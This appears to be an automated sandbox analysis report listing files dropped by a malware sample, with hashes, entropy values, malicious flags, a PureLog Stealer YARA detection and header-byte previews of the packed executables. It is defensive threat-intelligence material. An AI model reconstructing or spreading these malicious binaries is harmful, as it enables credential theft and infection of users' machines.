C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	470528
Entropy (8bit):	7.711295641924988
Encrypted:	false
SSDEEP:	12288:mQJRsrrQqYvbeUVOyJ3GJNu0ADIJTls9tJBKM1I59rM:akkyJoNYDOsrqM259A
MD5:	E154829A16292C782B579D217E0EA8BF
SHA1:	5D2FB1535930184E7212B5FB780C638F32A03CEE
SHA-256:	132FE6D8E5C0026B4F9E0DE786CCC4A35FC22D86821D230F8D8EA924E825FFBF
SHA-512:	D0ACBC1D810F628107E095959A2C53EF6E58ADCC8631F1AB16353B1294B7F51F13B1FF9936AB5E86AFF2D3C4FAD9C56F3DF263D9F7B27DE8FFA3CD508537A300
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......jL$..-J,.-J,.-J,._I-"-J,._O-.-J,._N-;-J,._K---J,.-K,u-J,.N-<-J,.I-:-J,.O-`-J,.O-/-J,.H-/-J,Rich.-J,........PE..L.....Nf...............'.............I............@.......................................@..................................Y..(............................`..P....?...............................?..@...............@............................text............................... ..`.bSs................................ ..`.rdata.............................@..@.data........p.......@..............@....reloc..P....`......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	363520
Entropy (8bit):	7.566311373125175
Encrypted:	false
SSDEEP:	6144:hKrTm/Wop3oiUklM540oF1zTuoZxFrI/l2k9Joup1JgHEa23sw6ac:8rTm/WohfdFNhhGpIOcYc
MD5:	D79B788762C6435AE9F599743F9F482D
SHA1:	4D96933A654C426776B30B57B49227E812B3D231
SHA-256:	0C9D401E9B393D2E7E2E3C727BA6E3E83CDE22DF260731879A4E5B0350929574
SHA-512:	E6E3A3BE1C171B38A9B167291D2F875C169C04B0AEFE7425092301CDB694C2C052FDC30E770634634C82CA3CCA76507E20D0AFF1EA6DB9076299E10935BB39F9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L...rJOf...............'.............F............@.......................................@.................................DY..(....................................?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...dA...p...4...>..............@....reloc...............r..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3034354
Entropy (8bit):	7.95197520239667
Encrypted:	false
SSDEEP:	49152:c5EoOmm8dI9SF7M8CPXicfcpoTHNLLx/whRveR9IK3stlcz3z9IYKGg:4EoO4501vJLLqh8RGK3schILGg
MD5:	7F3DB034A3FE2B644C9A48635C9543D5
SHA1:	87D4B623EE25DB943944C815DC4BD99E3670F3D1
SHA-256:	3DECFD6DE910DC419EDDE569DE24901A3AB42568D3FA942A652EACA710674EC2
SHA-512:	4A579D3B493D8CBC46A3DE6249CE8FF428970A76D0B6FD00E0D83774E850773BEAC9D80836D1586CC5646A2CC8E4C37E7AC7CD4C616F31F88B2DE77AAAE11F09
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v..p2.b#2.b#2.b#.E.#?.b#.E.#..b#.E.#.b#...#0.b#..f"!.b#..a".b#..g"..b#;..#9.b#;..#5.b#2.c#,.b#..g"..b#..b"3.b#...#3.b#..`"3.b#Rich2.b#........................PE..L.....]e...............!.............b............@..........................p............@.........................@m..4...tm..P....P..`....................@......5..T....................6......X...@....................a.. ....................text.............................. ..`.rdata..............................@..@.data...............p..............@....didat.......@......................@....rsrc...`....P......................@..@.reloc......@...,...h..............@..B................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4788376
Entropy (8bit):	7.794934808730968
Encrypted:	false
SSDEEP:	98304:nARk0N6xqmVRfHYh5O5TEPOIdnnnrA47BSGg0gts3fY:AGQ6Xb0WUxnrA4NOs3f
MD5:	22F5F177EE04B3AC13DF5A778A5D3C1E
SHA1:	338F6D135FD9BC81E864B635449D42D2C3093D0A
SHA-256:	F9B248763B1475633064C13B63AD6DA16578DAF75640BB92F0E7E0764877E2A8
SHA-512:	EBDA00DE52267384ADCB88E49751D9137EC1D7DFF213FB2153D0F05C0656E97534AF24F8C3319E7237757B0087B717EE5AF265EA221C3D74D0847E02A1A1F85C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............oJ...........@...........................\|......BI...@.................................Lin.@....`o..-............H..t...Po..............................Ej. ...p@o.@............ O.....(>j.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...K..........................`..`.vmp..@X>...0..Z>.................`..`.reloc.......Po......^>.............@..@.rsrc....-...`o..8...d>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11403264
Entropy (8bit):	7.976262170621303
Encrypted:	false
SSDEEP:	196608:SYvZvPF60956XHt6+YF+ELzL2Zjbn2YH0oD6DGcCwHbGkG:3Fcw5kHo5F+E+j7260oOYc
MD5:	D43AC79ABE604CAFFEFE6313617079A3
SHA1:	B3587D3FA524761B207F812E11DD807062892335
SHA-256:	8B750884259DD004300A84505BE782D05FCA2E487A66484765A4A1E357B7C399
SHA-512:	BB22C73ED01FF97B73FEB68AE2611B70EF002D1829035F58A4BA84C5A217DB368AAE8BDC02CDEC59C1121922A207C662AA5F0A93377537DA42657DD787587082
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...._3f..........#..........,......`..........@.......................................... .................................................06..d.......X,...Y...*..............................................(....W..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0....,......................... ..`.text1..8...........................@....text2............................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5382672
Entropy (8bit):	6.621301293389298
Encrypted:	false
SSDEEP:	98304:tfblDCLzsVGzo6WvZ4vALxjloC4/ozr0J:tblO8V+o6dv4iFAnc
MD5:	029B4A16951A6FB1F6A1FDA9B39769B7
SHA1:	A64E56DC24E713637AF0EF71B279F39843E0F0EB
SHA-256:	94DB25630E224DE4D562F408CA6ED1259EAE3645931174FCD57C07AD6933AA61
SHA-512:	3A117B879F96C42387CC088A2F05F441222F0DFBFB4F405F1E09BC03F92CDFB27FFA986A1F9AD4AD1E6E8D2387D3C367A54DCF51A7C2E1F32F48FB15B8406BFC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........p.........................p...........~+....~+.....~+......~+..................Z...O(......O(............O(......Rich....................PE..L.....Mf...............'..!..........MI.......!...@..........................pl......-R...@..........................................%......................`l.................................................................................... ..!......:.................. ..` N.....!......>..............@..@ .....p$......6..............@....rsrc.........%......F..............@..@ 4.....)..V...(..............@..B.idata..............~..............@....tls....................................themida..A...*...A.................`....reloc.......`l......"R................@........................................................................................................................

C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2562560
Entropy (8bit):	6.889315091648258
Encrypted:	false
SSDEEP:	49152:jxIRJF1HL+VdX68kUGJtTF+TxMoxc1TU+j+dAzGwlrh:jEJF16dX68dGtIuoITsdZ
MD5:	3F023AF63A8D50A095354335B3892C5A
SHA1:	B232EDBB64998F9B7E0534768158325BFFF15895
SHA-256:	33A3E17650F52AABD1BCC227EFE52F51B822249DB12E04CB4D467E371202278B
SHA-512:	F420FA2B904038AECF149A87E24DD24DBB11DE6C8193B917116D42B7B4E53C7AC302C54E6AB7F6CEA30BB817F201CAF1B34660A670C3CA25061BE092C86B6193
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@...........................'..................@..............................."...p.......................0..H6........................... ......................................................CODE................................ ..`DATA............. ..................@...BSS......................................idata...".......$..................@....tls.....................................rdata....... ......................@..P.reloc..H6...0...8..................@..P.rsrc........p......................@..P..............'.......'.............@..P........................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5154288
Entropy (8bit):	7.171492010172408
Encrypted:	false
SSDEEP:	98304:NllmCKfheKnF4Gnuyjscn9GtGOqHLixnkmb0ZKH4lODcxSgo5Gn8WuMRIn+N3gNX:NllmCKfY2uWUMBHLi6mb0ZKH4lODcxSL
MD5:	D9A7D15AE1511095BC12D4FAA9BE6F70
SHA1:	B90FBB35EB6DD050E4829ECAC702FEAB90F58859
SHA-256:	BDC61E24B03DB5DBDEAF7979906EA51F0BFE388B41D8E7E80BDE6D9ACD716BBA
SHA-512:	F913E5BBB998AD8A391EA99C6D045081DA5AF128B9391C3A0249EC4EEB9A504BE796B3315E7C5B4BAE825B7629527719A845A974F4EBA37BD0233B86E5483E25
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8.................P...J..L........K.. ... K...@.. ........................N......GO...@.................................P.K.K.... K..I...........8N..m....N...................................................... ............... ..H............text.....J.. ....J................. ..`.rsrc....I... K..J....J.............@..@.reloc........N......6N.............@..B..................K.....H........=..T...........hY..{.8.........................................6+.(..GJ(......:+.(m..1.(.....V+.(^ Hg..(....8.......B+.(6.YT~..........6+.() sm~.......0..........+.(BTd/ ........8........E........3...8....s.........8....s.........8...s.........8....s......... .....:....&8....s.........8......0..&.......+.(\|.\9.~....o......8....8....8.........0..+.......+.(.r0k8....8....8.....~....o......8........0..&.......+.($R.:.~....o......8....8....8.........0..&.......

C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7613155
Entropy (8bit):	7.996883889707963
Encrypted:	true
SSDEEP:	196608:91OPz8PbQZI8ho5NGolWFwAwXG19bvb/Z7mDTSLMLOuJ3QWaZQvt:3OPYTQXhwzG1VDMDeSOuHaZSt
MD5:	D1FBE0562396E6981A68818E4DA997F1
SHA1:	482EFD0B116F416BBB69EC5BFCB18F58B88CAB21
SHA-256:	6C6F2F1374114EFA39616883003E96EF53C4916C35DD8E8D32AB37E755A49150
SHA-512:	0831470338EAB04D2F7B43634B12410BA720B8A81AA25A87664B1EDDBE9048CA0740ADDB7D543F59091309321589A1A360A355EFE205DD86C7FDACDEB164F7AF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4795544
Entropy (8bit):	7.790038180467164
Encrypted:	false
SSDEEP:	98304:ltzqmVRdoYb1nmPuPeHpxCHleUtEz7M9TrZHYErpLHE3OJots3fYa:ltZVR2uwU7EwtrNUs3ff
MD5:	6151F5177B7B35E3D7CEE99A2FC9AF24
SHA1:	2E0C8320FC5C6E11CFFB6A1A5085DB450F0BAF08
SHA-256:	1186878B54CD5CE32FFE84632051A57E9B62C7243187DB25BBAC6C57D2AD67AF
SHA-512:	69A536208B7E228E0AD51842AA00BA3FAEE4C29D952C15DFE90F8C58A3C7AC3CCE61E0FDEAEA2615FC6268459820F468543D52CF62AFD4D2A026E2A517B63031
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............3S...........@...........................\|.....i.J...@.................................t.L.@.....o..-............H..t....o...............................3. .....o.@............ U.....(#D.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...x..........................`..`.vmp...u>.. 1..v>.................`..`.reloc........o......z>.............@..@.rsrc....-....o..8....>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\fFfNwvc0rMX7IynLDDJ83wn3.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	HTML document, ASCII text, with very long lines (6927)
Category:	dropped
Size (bytes):	467361
Entropy (8bit):	5.3510058237364175
Encrypted:	false
SSDEEP:	12288:MksqektwIB8rI0J0rAmv8/5a2MChtQZBtnI766V:Mksqk5a2MChtQI
MD5:	45054D0F5FB93A0A7BF6D86A1C37AD8D
SHA1:	B9184D9B2B2A43DA572C8171D312EEE8BE1234F8
SHA-256:	67A8B946583C676E8A93BDEA7BFB641A0E02604CF1ADBEE48D7079922F4EF9FE
SHA-512:	40EEF5B19218DCFB52D85C2B18B33292E2B8065D553909ABCB2AC45CD30441C3E518B435A8D0AED9D6697ADF2E73BD0030CFFB29E38AF66D6D92DF6E7CCDF1BC
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	225280
Entropy (8bit):	6.620915704157244
Encrypted:	false
SSDEEP:	3072:Kj9Wt0dASUNee76IR+tXe/ZHwYjpu8lULeJQ7k7wE65/:2cgUNj2DtXe/ZQKu7k7W
MD5:	CD0FD465EA4FD58CF58413DDA8114989
SHA1:	2AE37C14FA393DCBD68A57A49E3EECACF5BE0B50
SHA-256:	A5F4270EED2A341ACB58267CFACA48CFD25D5D5921B6F4D7E856EF4B5FD85DBE
SHA-512:	B05F3E05762A86AA672D3F4BED9DDE6BE4E9C946C02D18F470EE2542A1D5DA1FA5EB4E6A33BFFA8BA39E754E34CB53AA1ACCCA8107AAE218001C1A1110AF371F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........`.3.3.3M..3.3...3..3...3.3...3...3.\|.3...3.3...3...3.3...3.3...3.3Rich.3........................PE..L......c..........................................@.......................... .......5..........................................<.......G..............................................................@............................................text............................... ..`.rdata...G.......H..................@..@.data...(........$..................@....tls................................@....rsrc....G......H...(..............@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\o7NSAvcmmjJsywuQqmat3xec.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1251
Entropy (8bit):	5.242123603799515
Encrypted:	false
SSDEEP:	24:hYYIzDImyJRA3ZsjNQCRtgoLY95Mu56+eDHHLFCOXAkRcfRrzd0Ll72rKQk:rqLKj2CZLY5Mc6NDLYzkYKLlOM
MD5:	8150F458ED6FB9B1DB4E5CFA57A1A281
SHA1:	6E5726854D28687B560D7FDCB5C782C425C7DFB9
SHA-256:	4C13D452DD5D49671BD93CA32F2B4F85C78E39B6AB0AD1F38D98ED267F8FD896
SHA-512:	4CC6A112673AEF8BB8BB8A385C26791B805D43BB707B509880E894F1C83BAB4E16F13DE187036C5F660C3BEC1D286258396B7BDE65C5D7945C5019665196818C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 404 Not Found..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>.<h2 style="margin-top:20px;font-size: 30px;">Not Found..</h2>.<p>The resource requested could not be found on this server!</p>.</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1

C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3140096
Entropy (8bit):	7.991925992203975
Encrypted:	true
SSDEEP:	49152:C5T9OVJvD7NiQZS6tWYlDfqv19jsnUiyidIz1lQRtOXY9hzQgKBfpfMc6slxVuOZ:CHO3vcFA1fSjsnUiyXYR/mBfhMc6slxF
MD5:	43B0FD4A4213AA702E6BB8E8B67A9E2B
SHA1:	2A1EAF3F5176E62A9AF9FDDBBE20163246E4C43F
SHA-256:	0554227F93F8E1E94A53EA0BE12EBC775EC0D0A02C38818E06271EE11528BC9E
SHA-512:	19B6C145B824609B72942E95FC9FD367858151310A0D1298214C8CF5D01F9A38B9927D3E19952483E63ED1FE4C023A8F67C5A06FD92E8E5F5E8C61466B2E1018
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|....................@.......................... ............@... .. .... .. ..........PP......L_.......`..4...................0P...............................P.......................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@..........x......(..................@....data.....".. ....!.................@...................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4815512
Entropy (8bit):	7.796002238696443
Encrypted:	false
SSDEEP:	98304:+yjDqWHejZxTbsZFmVRVMGGLwMjzfq/+gIopszmuJDRXts3fYw:+uz+jZuyWTzjzp1opszZL9s3fF
MD5:	C0FEE8DB6325C8C1B3F8CCD13574C65A
SHA1:	2DDC159F8A06218C7622C7CD107598BE1FBD3C99
SHA-256:	D177DC7BA9F3E8511B08293B8CF92AF0BA4DEDD029C9F8365FCF05AFA8375344
SHA-512:	76ED65DC22149C9263C83D73D16A08E99B9137E619FE26AF852ACC2B4AF127C43BD5C6DD2BD16BA117C3432E1422F54157FE6CCB6E9D997E02C776BD52A26BF9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............P...........@..........................0}.......I...@..................................F2.@.....p..-............I..t....o...............................9. .....o.@.............O.......E.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...\|..........................`..`.vmp....>.. 1...>.................`..`.reloc........o.......>.............@..@.rsrc....-....p..8....>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\uKOqmIfIwRpCCy7unUA6x9Xx.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	HTML document, ASCII text, with very long lines (6927)
Category:	dropped
Size (bytes):	467478
Entropy (8bit):	5.350955439239127
Encrypted:	false
SSDEEP:	12288:MksqektwIB8rI0J0rAmv8n5a2MChtQZBtnI766t:MksqS5a2MChtQQ
MD5:	617FE3E95D470144F6DE02662116F052
SHA1:	E02553751C6D471DFA72EE8457AA67CA77A40192
SHA-256:	58437DA307132C505577609ADFFDCD5A752B0AEFDA898540C69123DF5439DC46
SHA-512:	80374B7833402FB1D613BE4E8A1B4D24D09F9C3661900B377582E6BD89D45D7ED2CB1065D7CA7EB2182B224E96E8B1D69B0646457DE9C4987D22BC2241D84E3E
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.015374450878895
Encrypted:	false
SSDEEP:	1536:0k9jHELqei8IP+UzrebBL105tPnNO3ByiGbhwkapILOHn3cUd:0k9jHdeIzrebrCPN2cto
MD5:	0951BF8665040A50D5FB548BE6AC7C1D
SHA1:	59F4315D9953700B41E3CD026054821145DD2E68
SHA-256:	F8E639176247F80ED86FEC07F31735F3381AF3B30F7512F4F9E06A04F0FAB489
SHA-512:	B159DF503A9CFDC0740123D7060918FB1444743417B645C9C28B4FB2AEDEC75660F84F55B3D62A89921B0D76B7AB199DBFE639844A9A11BC6458FB0E06B9FEAD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....)..........."...0..4............... .....@..... ....................................`...@......@............... ...............................`...............................S..8............................................................ ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@........................................H....... !...............-...&...........................................0..L.......(....(.....~......i .....@(..........i(..........(....(....t....o.....(......(.....~....-.r...p.....(....o....s.........~.....~...........V(....r7..p~....o.....~......(....Vs....(....t.........*..BSJB............v4.0.30319......l.......#~..\.......#Strings....T...<...#US.........#GUID.......@...#Blob...........W..........3........!...............................................................

C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	224256
Entropy (8bit):	6.947287075553973
Encrypted:	false
SSDEEP:	3072:Eu5J0hch94Pk0KnoU+w+HBhl0bPALSImlN2+yNsHzwkMoPuQf6Swy:N0hXrvUTwfhmH2oH8FV86S
MD5:	D72B9750EAB4B21E3F39E886275D80AB
SHA1:	01AF142FBCE4A17ECF29F75733EE67251B311A34
SHA-256:	9B721B787D36F85230832B599FFF6408B3864E5347BC7BF88012BD808631EDD7
SHA-512:	460E14DD05BE9976CB85F6DF5C4591D1DD616E507B58C577AC129097EB8CDAFC227B07191FCDF4AE459385E6A59C31F96371587FBF961F1BB50E5A567E6A561A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................+.....................g.............N........./.....N.*.....Rich............................PE..L.....c.....................R.......>............@..........................`...............................................h..P..................................,i...............................^..@...............`............................text...?........................... ..`.rdata...p.......r..................@..@.data....4.......z...\..............@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Logs\StorGroupPolicy.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	33126
Entropy (8bit):	4.911536012743243
Encrypted:	false
SSDEEP:	768:QhnnnnTEzzUUJBRRRVVrlrrrrYZrrrt5X0SHgHgZgZgUgUi/1OkGk1/pprYHHH1t:QhnnnnTEzzUUJBRRRVVrlrrrrYZrrrtC
MD5:	3B4AE54BBF9D72AE730B3809E1E98D82
SHA1:	887148AE27CAE1BE4A0EDDF3D4DD2500A5FA3FC4
SHA-256:	591378CC9CCC336403C1A507A37EE5F757C656CAF641F0DDDF33BA6602781275
SHA-512:	EC95F19EF8EA7CB75A0915EA56D44CE1228A5CE590F183EB9622FAA6E0F97E633856C321EBDEC1800E29D55261B5FCDBA1048E363966C6BDB4EC3218AD989BE4
Malicious:	false
Reputation:	unknown
Preview:	10/03/2023 7:55:56.00000693:RegEnumKeyExW failed with (259)..10/03/2023 7:55:56.00000693:GP object initialized successfully..10/03/2023 7:55:56.00000756:Deny_All not set for all. Will query other 6 GUIDs..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000787:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000787:Deny_All for all devices is being reset..10/03/2023 7:55:56.00000787:Will delete security for disk..10/03/2023 7:55:56.00000787:Volume interface name \\?\storage#volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}..10/0

C:\Windows\SysWOW64\GroupPolicy\gpt.ini

